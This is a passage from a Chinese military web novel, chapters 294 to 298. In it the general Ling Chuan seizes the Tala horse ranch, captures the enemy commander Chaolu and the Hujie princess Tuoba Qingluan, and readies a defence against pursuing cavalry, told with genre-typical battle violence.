巨大的冲击力让那名护卫手臂剧痛酸麻,然而,那箭矢去势虽被削弱,却仍未止歇,穿透盾牌后,残存的力量依旧推动着它,狠狠扎向护卫的胸甲! “噗嗤!” 又是一声闷响!精铁打造的甲片依旧未能完全阻挡这致命一击,箭镞强行破开防御,虽已是强弩之末,依旧深深没入其胸膛两寸有余! “呃啊!”那名护卫发出一声痛苦的闷哼,身体剧烈摇晃,鲜血瞬间染红了甲胄。 他死死咬着牙,用尽最后力气趴伏在马背上,才勉强没有坠落。 后方另一名护卫见状,目眦欲裂,毫不犹豫地策马上前,试图填补出现的防御空隙。 “咻……” 然而,聂星寒的第二箭已如同催命符,紧随而至!这一箭,他不再追求击杀护卫,目标直指那被严密守护的少女所骑乘的战马前腿关节! 要知道,战马处于狂奔状态下,想要命中马腿,对于箭术的要求极高。 然而,这对于聂星寒来说,却是不值一提。 箭矢精准地没入马腿,战马发出一声凄厉痛苦的悲鸣,前腿一软,巨大的身躯顿时失去平衡,眼看就要向前轰然栽倒! 千钧一发之际,一旁的朝鲁展现出惊人的骑术与反应,他几乎是凭着本能,单手握紧马鞍,整个身体在疾驰中猛地侧倾探出。 只见他猿臂一伸,在那少女即将被巨大惯性甩飞出去的瞬间,一把揽住她的腰肢,猛地发力,将她整个人从即将栽倒的战马上捞起,稳稳安置在自己身前,与之同乘一骑! 那匹中箭的战马则哀嚎着重重栽倒在地,翻滚着滑出老远,扬起一片尘土。 此时的朝鲁早已顾不得什么身份尊卑与男女有别,那被他揽在身前的少女更是吓得花容失色,俏脸苍白如纸,娇躯不受控制地剧烈颤抖,往日里的刁蛮任性被最原始的恐惧彻底取代。 “殿下放心!有末将在,绝不会让您有事!”朝鲁能感受到怀中身体的颤抖,连忙出声安抚。 可他的话音未落,又是一道凌厉的破空声从侧后方疾速逼近! 朝鲁眼神一厉,爆喝一声,猛然挥动手中战刀,凭着感觉朝着来袭方向奋力一斩! “锵!” 火星四溅,一支势大力沉的铁箭被他险之又险地凌空斩飞。 但那箭矢上蕴含的恐怖力道,却震得他整条手臂一阵酸麻,虎口隐隐作痛。 朝鲁心中骇然,心中暗忖,好可怕的神射手!如此远的距离,箭矢竟还有这般威力。 “将军小心!”身旁一名亲兵突然发出惊呼,猛地策马挤过来,用身体挡在朝鲁的侧方。 “噗……” 几乎在同一时间,另一支无声无息的冷箭如同毒蛇般噬至,精准无比地贯穿了那名亲兵的太阳穴。温热的鲜血和脑浆瞬间飞溅开来,泼洒了朝鲁和身前少女满头满脸! “啊!!!” 那少女何曾经历过如此血腥恐怖的场面,鼻腔中充斥着浓重的血腥味,脸上是黏腻温热的液体。 视觉和心理的双重冲击让她发出一声撕心裂肺的尖叫,内心的最后一道防线彻底崩溃。 直到这一刻,她才真正体会到战场的残酷本质。 什么万骑奔腾的壮阔,什么挥斥方遒的豪情,都是虚幻的想象。 真实的战场,只有最原始的鲜血、死亡、恐惧和为了生存的疯狂挣扎。 面对后方追兵不死不休的追击,他们只能将马速提升到极致。 所幸他们胯下战马皆是千里挑一的良驹,拼尽全力之下,竟逐渐与后方的追兵拉开了一段距离。 然而,就在他们刚刚看到一丝逃生希望时,苍蝇所率领的二十余名精锐亲兵,已然如同死神般从另一个方向包抄合围过来,封死了前路。 “调转方向,朝东北方向突围!”朝鲁当机立断,嘶声大吼,下令队伍再次改变方向。 眼下局面,任何缠斗都是死路一条,唯一的目标就是保护公主殿下冲出重围。 “殿下坚持住!距离金雀谷只有五十余里!只要赶到那里,我们就安全了!”朝鲁尽可能地用平稳的声音安抚身前几近崩溃的少女。 “他们……他们到底是什么人?是周军吗?”少女的声音带着无法抑制的颤抖,泪水混合着血水滑落脸颊。 “对!”朝鲁咬牙肯定道,眉头紧锁,“只是末将也想不明白,他们为何会突然主动挑起战端,这完全不合常理!” “呃啊!” 忽然,朝鲁发出一声压抑不住的惨哼,身体猛地剧烈一颤,差点从马背上栽下去! 原来,那神射手竟然再次射出一箭,径直穿透了他的小腿,巨大的力道让半截箭杆没入了战马的腹部。 那匹神骏的战马顿时发出一声痛苦的悲鸣,速度骤然下降。 “朝鲁!你怎么了?”少女感受到身后的朝鲁发出的痛呼,以及被他咬得嘎吱作响的牙齿。 “殿下……我没事!殿下抓紧!” 朝鲁从牙缝里挤出这句话,额头青筋暴起,死死攥紧缰绳,试图控制住因剧痛而开始踉跄的战马。 然而,受伤的战马腹部血流如注,速度越来越慢,而朝鲁自己也因腿伤难以灵活发力,想要在这种高速奔逃中换乘备用马匹已是绝无可能。 后方及左右两侧,凌川与苍蝇率领的追兵如同嗅到血腥味的狼群,迅速逼近。 “将军!你带殿下先走!我们断后!”亲兵队长赫芝红着眼睛冲到一旁,声嘶力竭地大吼。 “我走不了了!”朝鲁猛地摇头,因失血和疼痛而声音嘶哑,却带着不容置疑的决绝,“赫芝听令!我命令你,不惜一切代价,务必安全将殿下送至金雀谷!这是死命令!” 然而,后方的追兵咬得实在太紧。 他们这一耽搁,速度骤减,凌川与苍蝇率领的两支精锐已经从左右两侧如同包抄上来,彻底封死了所有去路。 “其余人,随我杀敌!掩护赫芝突围!”朝鲁用尽最后力气咆哮一声,将怀中的公主推给旁边的赫芝。 自己则紧握弯刀,与另外几名誓死相随的亲兵调转马头,欲做最后的自杀性冲锋,为公主争取那渺茫的一线生机。 “朝鲁……”少女泪如雨下,声音哽咽颤抖,看着这个拼死保护自己的将领,心中充满了前所未有的恐惧与悲凉。 第一卷 第294章 杀神! “殿下保重!赫芝将拼死将你送到金雀谷!”朝鲁最后看了她一眼,眼神复杂,随即与几名亲兵义无反顾地迎着潮水般涌来的追兵发起了绝望的冲锋。 “咻咻咻……” 回应他们悲壮冲锋的,是一片冰冷的箭雨。 几名亲兵瞬间被射成了刺猬,惨叫着跌落马背。 朝鲁自己也身中三箭,但他凭借着顽强的意志力,死死抓着马鞍,依旧嚎叫着向前冲去。 就在双方即将短兵相接的瞬间,一道矫健身影猛地从一侧疾驰的战马上跃起,正是孟钊。 他如同扑食的猛虎,凌空一脚,携着千钧之力,狠狠踹在朝鲁的胸口! “砰!” 一声闷响,朝鲁如同断线的风筝,应声从马背上倒飞出去,重重摔落在冰冷的草地上。 他挣扎着想要爬起,但那支贯穿小腿的箭矢让他根本无法站立。 “拿下!”凌川声音冰冷,不带一丝感情。 两名亲兵迅速下马,用绳索将重伤的朝鲁牢牢捆缚。 与此同时,聂星寒再次张弓,精准地将亲兵队长赫芝胯下的战马射倒。 苍蝇亲率几名亲兵猛扑上去,赫芝还想拔刀反抗,瞬间被数把苍生刀同时劈中,当场殒命。 而那名少女,则被一名亲兵毫不怜香惜玉地反剪双手,从地上提了起来,押回到凌川马前。 凌川之所以留下朝鲁和这名女子的性命,绝非心慈手软。 朝鲁作为这支精锐的主将,身份必然不低,而他拼死也要保护这名少女,甚至让部下不惜代价护送其撤离,这足以说明这名女子的来历更为惊人,极有可能是来自天汗城的天潢贵胄。 将这两个人握在手中,无论是作为后续谈判的重要筹码,还是在万一遭遇大队追兵时作为让对方投鼠忌器的人质,都具有极高的战略价值。 那少女被反绑着双手,如同货物般被丢在苍蝇的马背上带回。 经过凌川面前时,她使劲地仰起头,泪眼婆娑却又带着一丝不甘和惊惧,望向马背上那个一句话便可决定她命运的男子。 那是一个看起来极为年轻的男子,面如冠玉,眉宇间英气逼人,身姿挺拔如松。 然而,最令她心悸的,是他那双深邃眼眸中透出的冰冷、沉静以及那种掌控一切的强大气场。 这种气势,他只在自己那位继位大汗的兄长身上感受到过。 重伤被缚的朝鲁忍着剧痛,艰难地抬起头,死死盯着凌川,从牙缝里挤出问话:“你……究竟是何人?” “凌川!” 平淡无波的两个字,如同寻常问候般从凌川口中吐出。 然而,听在朝鲁和那少女耳中,却无异于一道九天惊雷轰然炸响! 那个在周军中如同彗星般崛起,在上一次大战中用无数胡羯勇士的尸骨堆砌起赫赫凶名,将自己生生推上镇北将军之位的…… 杀神! 朝鲁闻言,发出一声苦涩至极的惨笑,眼中最后的光彩彻底熄灭,只剩下无尽的绝望与颓然。 他垂下头颅,声音嘶哑无力:“败在你手中……不冤!”话语中充满了英雄末路的认命与折服。 凌川并未理会他的感慨,只是冷漠地挥手下令。 让亲兵们迅速打扫了这片小规模接战的战场,回收了可用箭矢,并将重伤的朝鲁与那名身份尊贵的少女牢牢控制。 随后,队伍毫不停留,立即动身撤回塔拉马场。 就在这时,卫敛也已干净利落地将朝鲁那些断后的亲兵尽数剿灭,带着麾下将士策马奔来与凌川会合。 他看到凌川无恙,又瞥见被俘的两人,尤其是那名少女,不禁面露惊异之色:“哟!将军,没想到这胡羯军里,还藏着这么一位小娘们?” 他的语气带着军人特有的粗犷和一丝惊讶。 “少贫嘴!”凌川瞪了他一眼,语气不容置疑,“抓紧时间,正事要紧!” 此刻,大营方向的战斗已接近尾声。 赵襄率领的一千重甲铁骑,如同无情的碾轮般反复冲踏过后,原本规整的胡羯军营已彻底化为一片废墟。 帐篷被撕裂踩烂,辎重、军械、粮草破碎不堪,满地狼藉中倒伏着层层叠叠的尸体,鲜血浸透了草地,空气中弥漫着浓郁得令人作呕的血腥味。 起初那一轮石破天惊的冲锋,不仅摧毁了营地和他们的阵型,更致命的是,彻底碾碎了这两千胡羯精锐士兵的斗志与胆气。 随后,便是柳衡与斥候营轻骑无情的收割阶段。 面对已经被吓得肝胆俱裂的溃兵,战斗变成了单方面的清剿,不到半个时辰,两千胡羯精兵便被屠杀殆尽。 赵襄与柳衡毫不耽搁,立即率部赶往不远处的马厩,迅速换乘部分缴获的胡羯甲等战马,让历经苦战的坐骑得以喘息,确保麾下骑兵能始终保持巅峰战力。 陈谓行则是率领斥候营片刻不停,迅速扑向仅数里之隔的最终目标——塔拉马场! 此时,东方天际终于撕开夜幕,投下第一缕微弱的曙光,浅浅地洒落在广袤无垠的塔拉草原上。 然而,这片往日充满生机与宁静的土地,此刻却再无祥和可言。 目光所及之处,尽是倒伏的尸体、散落的兵器和斑驳暗红的血迹,死亡的气息压得人喘不过气。 事实上,数里外主营震天的厮杀声与惨嚎声,早已惊动了塔拉马场内的牧奴。 所谓牧奴,其身份地位类似于北疆军中的‘死字营’成员,多是草原各部中因罪被罚没入奴籍之人。 相较于需要冲锋陷阵的死字营,牧奴的日常相对安全,只需照料马匹。 但他们的身份极其卑贱,性命甚至比不上一匹普通的战马,但凡有马匹走失或意外死亡,他们往往都要用性命抵偿。 因此,他们平日只得将这些战马当作祖宗一般,小心翼翼地伺候着。 正当所有牧奴被远处的动静吓得战战兢兢、不知所措之际,陈谓行已然率领杀气腾腾的斥候营赶到了马场。 他立刻命令几名通晓胡语的部下,对着聚拢起来、惶恐不安的牧奴们高声喊话: “听着!从此刻起,这座塔拉马场所有的战马,包括你们这些牧奴,都已归我大周帝国云州军所有!若想活命,就乖乖听话,立刻驱赶所有马群,随我们南迁!” 第一卷 第295章 洗劫塔拉马场! 塔拉马场规模巨大,共有两万五千余马匹,其中堪为战马者约有一万二千余匹,如此庞大数量的马群同时南迁,其场面之浩大,可想而知。 起初,部分牧奴出于恐惧或对胡羯的惯性服从,并不愿意配合,甚至还有几人带头鼓噪反抗。 时间紧迫,陈谓行根本没有多余的时间耐心说服。他眼中寒光一闪,毫不犹豫,当即下令:“杀!” 麾下战士手起刀落,十几颗带头反抗的牧奴头颅瞬间落地,温热的鲜血喷溅在草地上,也狠狠冲击着其余牧奴的心理防线。 这番凌厉果决的杀鸡儆猴立刻奏效,剩下的牧奴们被这血腥手段吓得魂飞魄散,一个个面色如土,瑟瑟发抖,再无人敢出声反对。 陈谓行目光冷冽地扫过这群惊恐万状的人,高声喊道:“现在,我只给你们两个选择:要么我把你们全部杀光,然后我们自己把马赶走!要么你们乖乖跟着马群一起南迁,进入我大周境内。只要你们安心为我们养马,我保证,你们将来能有饭吃,能活命!” 这番话通过手下人的译知,清晰地传入每一个牧奴耳中。 他们先是陷入一片死寂,面面相觑,眼中充满了惶恐、不安以及对未知命运的迷茫。 陈谓行没有耐心等待他们慢慢消化,厉声催促:“我没有时间跟你们耗!是生是死,立刻做出选择!” 在令人窒息的短暂沉默后,终于,一名看似较有威望的老牧奴颤颤巍巍地走上前,双膝跪地,用带着浓重口音的胡语,恭敬而畏惧地回答道:“将军,我们我们愿意跟随马群南迁,求将军饶命,给我们一条活路……” 有人带头,其余牧奴也纷纷跪伏在地,用生硬的胡语或是恐惧的眼神表示顺从。 求生的本能,最终压过了对陌生未来的恐惧,更何况,对于这些命如草芥的牧奴而言,对胡羯帝国本就谈不上太多归属与忠诚。 很快,这一千多名牧奴便行动起来,依照命令开始驱赶庞大的马群,朝着塔拉草原南边快速移动。 若在平日,他们绝不敢如此粗暴地对待这些珍贵的马匹,但此刻是非常时期,更何况下达命令的是这些杀气腾腾的周军。 他们得到的指令是不惜一切代价,以最快速度将马群赶至大周边关! 按照凌川事先的交代,这些牧奴若肯配合,便尽量一并带回云州,毕竟,骤然获得如此庞大数量的战马,仅凭云州原有马场的人手根本无力照料。 这些经验丰富的牧奴,本身就是极有价值的‘战利品’,当然,若他们拒不配合,为了杜绝后患和走漏消息,唯一的选择便是就地格杀。 两万余匹骏马汇聚成的洪流,迎着初升的朝阳,开始奔腾在塔拉草原之上。 万蹄叩击大地,发出沉闷而持续的隆隆巨响,仿佛整片草原都在随之震颤,场面恢宏而壮观。 陈谓行率领一千斥候营将士,监督并协助这一千多牧奴驱赶马群,如此庞大的队伍,行进速度注定快不了。 幸而这些牧奴经验极其丰富,懂得如何引导和控制马群流向,若非有他们,仅凭陈谓行的一千斥候,效率将会更低,混乱也将难以避免。 与此同时,凌川命令纪天禄将他手下那支最为精锐的斥候小队全部洒了出去,像一张无形的网散向北方,他们的任务是时刻紧盯金雀谷方向那五千胡羯骑兵的一切动静。 此外,凌川命令赵襄的一千重骑与柳衡的一千轻骑合兵一处,在马群后方三十里外梯次展开,构筑起一道移动的防线。 他们的使命是,若敌军追兵迫近,便进行坚决的阻击,为马群南迁争取宝贵时间。 凌川心知肚明,塔拉马场被袭的消息绝无可能长时间隐瞒,金雀谷的五千敌军发现异常只是时间问题,他现在唯一的期望,就是对方发现得晚一些。 全歼那五千骑兵,这个念头凌川并非没有动过,但绝不可能是主动出击。 且不说在开阔的草原地带与胡羯主力骑兵正面交锋,云州军本就处于劣势。 更重要的是,那五千骑兵驻地距离胡羯北方重镇斡拏城仅有五十里,一旦与之陷入缠斗,势必惊动斡拏城的大股胡羯主力,届时,想全身而退根本不可能。 此次突袭塔拉马场,本身就是一次深入虎穴的冒险。 虽夜间奇袭得手,但此地仍处于胡羯防线纵深,若不尽快撤离,随时可能被闻讯赶来的其他胡羯部队合围。 时间! 此刻凌川最需要的,就是时间。 南撤队伍中,凌川让亲兵医官小心地将朝鲁腿上的箭镞取出,并为其敷上金疮药仔细包扎。 此人现在还有大用,关乎能否顺利拖延追兵,绝不能让其因伤重而死。 随后,凌川策马来到被缚于马背、面色苍白的朝鲁身旁,语气平淡地开口:“问你几个问题!” 朝鲁虚弱地抬眼看了看他,嘴角扯出一丝讥诮的苦笑:“凌将军不必白费唇舌了,我朝鲁虽被你所俘,却还未曾丢掉军人的底线与傲骨!” “这一点,从你明知必死,仍敢提刀向我冲杀时,我便已清楚!”凌川点了点头,语气中甚至带着一丝认可。 紧接着,凌川目光转向一旁同样被缚双手、安置在马背上的那名少女,问道:“她的身份,想必极不一般吧?否则,也不值得你舍弃麾下两千精锐,甚至连自己的性命都可以不要,也要将她送出去!” 听闻此言,朝鲁眼中猛地闪过一抹极大的惊愕与难以置信,他脱口反问:“你……你出动如此大军发动夜袭,竟不知她是谁?”这完全出乎他的意料。 凌川也为之一愣,随即嘴角露出一抹哭笑不得的神色:“莫非在你们胡羯人眼中,我凌川就是个贪花好色之徒?为了一个女人,我便值得如此兴师动众,劳师远征?” 朝鲁脸上的疑惑之色更浓,他实在想不通,忍着伤痛试探问道:“那你,为何出兵夜袭?” 凌川看着他,反问道:“你率部驻守于此,首要任务又是为何?” 第一卷 第296章 拓跋青鸾! “难道……你是为了劫掠塔拉马场而来?”尽管心中已隐约猜到,但当凌川亲口证实这个疯狂的目的时,朝鲁依旧无法抑制内心的剧烈震动。 洗劫胡羯南征军三大马场之一的塔拉马场,这念头何等疯狂,恐怕普天之下,也只有凌川这个疯子不仅敢想,而且真的付诸行动! 凌川不置可否地微微颔首,随即目光再次扫过那名少女,脸上露出一丝玩味的笑意:“目标确是如此!不过现在看来,似乎有意外之喜,顺手捞到了一条分量极重的大鱼!” 朝鲁沉默片刻,内心激烈挣扎,最终抱着万一的希望,咬牙问道:“若我回答你的问题,你能放了她吗?” “不能!”凌川拒绝得干脆利落,没有任何转圜余地。 朝鲁面色一黯,正要彻底闭上嘴,凌川的声音再次平静响起:“不过,我可以承诺,只要你们乖乖配合,我可以不为难你们!” 这番话,让朝鲁紧绷的心弦稍稍松动了一丝,让他内心再次陷入天人交战。 他深知,在大汗心中,即便是自己麾下三千精骑加上整座塔拉马场的价值,也远远无法与这位公主殿下相提并论。 而且,只有保殿下周全,柔然部才有一线生机。 许久,他沉重地叹了口气,嗓音沙哑:“你……想问什么?” 凌川从他口中成功拿到了关键情报,每日午时之前,金雀谷方向的胡羯游骑都会按时抵达塔拉马场外围预定地点,与朝鲁的部下进行例行接头,且每日使用的口令都会更换。 得到今日的准确口令后,凌川立即下令,让纪天禄挑选几名机敏且通晓胡语的精锐斥候,换上从朝鲁部下的军服铠甲,前往双方的接头地点。 为保险起见,凌川还缴了朝鲁身份象征的狼头腰牌,但特意叮嘱纪天禄,不到万不得已不要使用,以免弄巧成拙引起对方猜疑。 只要能成功蒙混过关,稳住前来接头的金雀谷游骑,便能最大程度地延缓敌人察觉真相的时间,为陈谓行驱赶马群南撤争取到至关重要的一日一夜。 然而,现实却远比预想中严峻,庞大马群的迁徙速度异常缓慢,远超预期。 照此下去,莫说一日一夜,就算再多一倍时间,也绝无可能抵达云州边关,望着前方蠕动般的庞大队伍,凌川的内心如同被火燎烤,焦灼万分。 赵襄曾提议,舍弃马群中的老弱马匹和幼驹,以此减轻负担,提升整体行进速度。 但实际操作起来却困难重重,两万多匹马混杂在一起,受惊拥挤,根本无法有效分群筛选,任何强行分割的尝试都可能引发马群更大的骚乱和失控。 眼下,唯有硬着头皮,不惜代价地全力驱赶,哪怕在这个过程中会不可避免地造成一些马匹掉队、受伤甚至累毙,也必须在所不惜。 队伍昼夜兼程,不敢有片刻停歇,直至夜幕完全降临,才勉强抵达火石滩。 这意味着,整整一个白天的亡命奔波,他们仅仅向前推进了八十里,这个速度,远低于凌川最保守的预估,形势岌岌可危。 一路上,那名被反绑双手的异族少女始终沉默不语,但她那双清澈却带着复杂情绪的眸子,却时不时地悄悄投向凌川,打量着他的一举一动。 凌川已经从朝鲁口中得知了她的身份,以及她前来塔拉马场的目的。 少女名为拓跋青鸾,正是胡羯帝国新汗拓跋青霄的妹妹,此次到塔拉马场是为了挑选一匹神驹,作为自己的成年礼物。 对于这个结果,凌川并不感到意外,毕竟之前他已经猜得八九不离十。 只不过,对于凌川而言,能抓到一位胡羯帝国的公主作为人质,其分量肯定比朝鲁这位将领要重得多。 反而是凌川与朝鲁二人,聊得十分‘融洽’,若非一人被绑着丢在马背上,甚至会让人觉得,他们乃是至交好友。 就连凌川下达军令的时候,也不曾避讳他,毕竟,朝鲁就算知道他的所有计划,也传达不出去。 即便夜幕深沉,队伍也丝毫不敢停歇,对于他们而言,此刻每喘一口气,都是在与死神赛跑。 唯有真正踏入云州边关之内,才能稍得喘息之机。 然而,坏消息总是来得猝不及防。 就在这时,斥候队副队长闻侩风尘仆仆地飞马赶来,脸上带着凝重之色,沉声禀报:“将军,情况有变!我们很可能已经暴露了!” 凌川眉头骤然锁紧,尽管早已有此心理准备,但当真听到时,心弦依旧猛地一绷:“具体怎么回事?” “日落之前,金雀谷方向竟然派出了第二批游骑!”闻侩语速飞快,言辞清晰,“而且这一次,对方行为异常,并未在往常的接头地点停留盘查,而是径直朝着塔拉马场方向疾驰!队长判断对方已然起疑,事态紧急,来不及请示,便当机立断率我等设下埋伏,已将那股游骑全数截杀!” 凌川听罢,面色沉静如水,纪天禄的处置没有任何问题。 当伪装已无法骗过敌人时,唯一的选择就是在对方发出警报前,以雷霆手段将其彻底消灭,这是为队伍撤退争取最后时间的无奈之举。 “知道了!”凌川压下心中的波澜,果断下令,“立刻返回告知纪天禄,让他的人盯死金雀谷方向的任何风吹草动!敌军有任何异动,必须在第一时间飞马来报!” “是!”闻侩抱拳领命,勒转马头便要离去。 “等等!”凌川叫住他,语气格外严肃地补充道,“告诉纪天禄,遭遇敌情不可与敌硬拼!一旦发现大批敌军,必须毫不犹豫,立刻撤回!我要的是消息,不是无谓的牺牲!” “明白!属下告退!”闻侩重重点头,旋即猛抽马鞭,身影迅速消失在夜色之中。 斥候队的每一个人都是耗费无数心血和资源培养出的精英,损失任何一人,都会让凌川心痛不已。 送走闻侩,凌川立即对身旁的沈珏下令:“即刻传令后军赵襄、柳衡二部,全军披甲,保持战斗阵型行军,随时准备迎敌!” “是!”沈珏抱拳回应道,随即驱马北行,前去传令。 第一卷 第297章 优势在我! 队伍在苍茫的夜色中继续艰难前行,而凌川的思绪却早已飞驰在眼前的危局之外,飞速盘算着各种可能和对策。 “金雀谷那五千骑兵的主将,是何人?”凌川忽然勒转马头,看向一旁被缚于马背、面色苍白的朝鲁问道。 朝鲁因失血和颠簸,气色极差,呼吸都带着颤音。 但对于凌川的提问,他还是强打着精神如实回答:“是主帅麾下的得力战将,兀烈!” 兀烈。 这个名字凌川并不陌生,乃是胡羯军中有名的悍将,只是以往未曾正面交锋。 “仔细说说此人!”凌川语气平淡,没有半点命令的口吻,仿佛是在请教。 朝鲁苦笑一声,声音虚弱:“凌将军,能否先为我们松一松绑?这样颠簸了几十里,实在喘不过气了!” 凌川目光锐利地扫了他一眼,略一沉吟,便挥手示意亲兵上前为二人松绑,同时冷声警告:“你是聪明人,该明白我的底线,若想动歪心思,我保证你们会立刻变成两具尸体。” 绳索松开,朝鲁艰难地活动了一下几乎麻木的手腕,喘息着说道:“将军多虑了,我有伤在身,即便侥幸逃脱,也必会死在这茫茫草原。与其如此,不如安心做个俘虏,或许还能保住一条贱命。” 凌川示意亲兵给他们分发了些清水和肉干。 朝鲁接过一边吃一边缓缓开口,讲述起他所了解的兀烈。 有关此人性情、用兵习惯、乃至一些传闻轶事都不曾遗漏。 凌川静静地听着,试图从这些信息中拼凑出对手的完整画像,以便预判其可能的行动。 朝鲁倒也配合,将自己所知一一说出,只是其中真假掺杂,虚实难辨,需要凌川自行判断。 根据朝鲁提供的信息以及自身对路程的估算,凌川在心中快速推演,第二支游骑没有返回,最多三个时辰,金雀谷的兀烈部必然警觉。 从其驻地整军出发,全速追赶至此,需要大半日时间,换言之,最快明日正午,敌人的先锋铁骑就可能追上他们! 而己方队伍,此刻距离云州边关尚有两百里路程,即便不惜马力全力赶路,到明日中午,最多也只能将距离缩短至边境百里左右。 但这还只是最理想的估算,连续不休的强行军,人困马乏,速度只会越来越慢。 更何况,全军昨夜已经是一夜未眠,若再熬上一整日,明日真正接战时,还能剩下几分战力? 此策绝不可行! 凌川瞬间否决了继续盲目奔逃的方案,即便明日被追上时已近边关,仅剩二三十里,对于一支筋疲力尽、失去机动能力的军队而言,也无异于待宰羔羊。 敌人虽是追赶而来,但己方却是从昨夜奔袭至今,未曾休整,战力损耗远超对方。 必须改变策略! “传令!”凌川声音陡然转厉,“命陈谓行部,不惜一切代价,全力驱赶马群继续南行!无论后方发生任何情况,绝不允回援!他们的任务只有一个,那就是将马群带入云州!” “是!”一名亲兵得令,立刻驱马加速,朝着前方庞大的马群队伍奔去传达指令。 紧接着,凌川下达了第二道命令:“其余所有部队,即刻停止前进!就地寻找合适地形戴甲休整!抓紧时间恢复体力,准备迎战!” 很快,凌川一行在一处地势略有起伏的矮小山脊作为临时驻地。 士兵们依令下马,安抚着同样疲惫的战马半卧于地,自己则倚靠在马腹旁,抓紧这宝贵的间隙和衣而卧。虽不能彻底安眠,但短暂的休息足以缓解极度的疲惫。 半个时辰后,负责断后的赵襄与柳衡率领两千骑兵也已赶到汇合点。凌川令其一同加入休整序列,只派出少量游骑负责警戒,其余将士强制休息。 所有人都明白,明日必将迎来一场极其残酷的血战。 己方满打满算两千五百骑,而对方保守估计也有五千精锐,并且是在最适合胡羯骑兵发挥的草原地带交战。 天时、地利、人和,己方一样不占。 然而,令人惊奇的是,几乎所有将士的脸上都看不到半分慌乱与恐惧。 似乎对于所有士兵而言,只要有凌川在,再艰难的局面都无须担心,他就是全军的定海神针。 回想不久前,将军仅率一千五百云岚军,便能横扫关外,连番重创数万胡羯大军。如今有两千五百精锐在手,对阵五千敌军,在一些老兵看来,这甚至是…… 优势在我! 但凌川的内心,却远没有那般乐观。 他深知,此一时彼一时,上次之所以能创造奇迹,倚仗的是极高的机动性和一击即走、绝不恋战的灵活战术。 而此次,为了掩护陈谓行和那两万多匹关乎云州未来的战马,他们已彻底丧失了最宝贵的机动性,被迫转入一场注定惨烈的阵地防御战。 他将脑海中纷乱的思绪强行压下,强迫自己闭目养神,越是这种时候,一军主将越需要绝对的冷静和清晰的头脑。 与此同时,远在百里之外的金雀谷胡羯大营。 天还未亮,急促而苍凉的号角声便划破了黎明前的寂静。 大军闻风而动,火把迅速点亮营盘,人马喧嚣,迅速集结。 主将兀烈已然接到了关于塔拉马场异常情况的多批急报。虽然情报混乱,未能明确指向究竟是谁所为,但兀烈的直觉和判断力告诉他,有胆量且有能力做出如此疯狂之举的,周军之中,无非两人。 要么执掌玄影骑那支王牌军团的陆沉锋,要么,就是那个近半年声名鹊起、打法完全不按常理出牌的云州副将凌川! 直觉告诉他,后者的可能性更大。 他第一时间派出加急快马,将情报直送斡拏城元帅府。 同时,毫不迟疑地开始整顿麾下五千精锐骑兵,命令他们轻装简从,只携带必要的兵器和三日口粮,不等天色大亮,便率先头部队开拔出征! 他誓要以最快速度,将那胆大包天之徒截杀于塔拉草原境内,绝不能让其将战马驱入周境! 即便以兀烈的悍勇,初闻消息时亦感到难以置信,竟真有人敢对塔拉马场下手。 若真让其得逞,对于整个南征大军而言,都将是一次难以估量的沉重打击。 塔拉马场作为南征军三大核心马场之一,其重要性不言而喻,一旦有失,南征军的战马补给将立刻陷入短缺甚至告急的境地。 对于倚仗骑兵称雄、被誉为马背上的民族的胡羯而言,这无疑是动摇大军根基的致命一击。 第一卷 第298章 拒敌青蟒脊! 而更让兀烈心急如焚、如坐针毡的是,据前方斥候拼死传回的最新消息,镇守塔拉马场的将领朝鲁,以及那位身份极其尊贵、此前悄然前往马场欲挑选心仪坐骑的公主殿下,竟是生不见人,死不见尸。 如此情形,二人极大概率已落入周军之手,被一并掳掠南去。 然而,关于公主身陷险境之事,兀烈在军中却严密封锁,除了高层将领,并未在军中公布。 此事不仅关系帝国皇族的颜面尊严,更直接关乎公主殿下的生死安危,一旦处理不当,后果不堪设想。 “百年来,从来只有我胡羯铁骑南下牧马,踏破周人关隘!周军缩首于城墙之后尚恐不及,何曾敢犯我胡羯疆土一分一毫?”身形魁梧犹如熊罴、浓密虬髯几乎遮盖了半张脸庞的兀烈,巍然立于简易的点将台上,饿狼般凶戾的目光缓缓扫过台下五千名肃杀的骑兵。 “可今日!就在我们的眼皮底下,他们竟敢偷袭塔拉,掠我马场!此乃帝国百年未遇之奇耻大辱!”他的声音如同滚雷,在黎明的山谷中回荡。 “这份耻辱,唯有鲜血才能洗刷!用我们的刀,把那支胆大包天的周狗永远地留在塔拉草原!把他们的尸骨踏进泥土,用他们的血浇灌牧草!要让所有周人明白,冒犯胡羯天威者,死无葬身之地!” “杀!杀!杀!!!” 震天的喊杀声如同平地惊雷,轰然炸响,汇聚成的声浪仿佛要将黎明前最后的黑暗幕布彻底撕裂,冲天的杀气令人窒息。 “此战,本将只有一个要求!”兀烈的声音陡然拔高,压过一切喧嚣,“尽灭这支周军,片甲不留!” “铿!”的一声刺耳锐鸣,他猛然拔出腰间那柄象征着权威与杀戮的金狼刀,冰冷的刀锋在渐亮的天光下划出一道寒芒,笔直地指向南方! “全军——出击!” 五千铁骑闻令而动,如同决堤的黑色钢铁洪流,轰然涌出金雀谷营地。 马蹄声汇聚成沉闷而恐怖的雷鸣,震得大地为之颤抖。滔天的杀意凝聚成形,如同出鞘的利刃,直刺南方! 兀烈作为拓跋桀最为倚重的左膀右臂,其勇猛、谋略以及在军中的威望,仅在主帅拓跋桀之下。 就在半个时辰前,他不仅派出了通往斡拏城元帅府的加急信使,更同时将塔拉遇袭的警讯传给了毗邻的其它胡羯守将。 当然,兀烈仅是通报情报,并未越权请求他们出兵协助。一方面他无权调动这些兵力,另一方面,是否跨州联合作战,此等重大决策必须由主帅拓跋桀亲自定夺。 …… 天刚蒙蒙亮,凌川便已然醒来。 他没有惊动仍在熟睡的将士,悄无声息地起身,穿过横七竖八倚靠着战马休息的士兵。 正在巡值的孟钊见状刚要跟上,却被凌川用一个简单的手势制止。 他独自骑上战马,在微凉的晨雾中于周边区域仔细巡查,锐利的目光扫过每一处地形,试图寻找一个能够以少敌多、最大限度抵消骑兵冲击优势的决战之地。 忽然,他的目光被不远处一片巨大的草料场吸引。 那是塔拉马场的牧奴们于春夏时节收割、堆积起来的干草垛,用以应对冬季冰雪覆盖、无法放牧时喂养马匹。 草垛数量足有上千,堆积如山,大多已完全干燥,只有边缘少数新堆的尚未干透。 看到这片望不到边的草垛,凌川脑海中仿佛有一道闪电划过,他立即驱马奔近,仔细观察,这些草垛每一堆都有一丈多高,规模惊人。 他翻身下马,从垛中用力抽出一把干草,将其放在手心搓成一个草团,一个战术逐渐在他心中成型。 他立刻上马返回驻地,命令亲兵苍蝇即刻去将负责巡哨的游骑标长唤来。 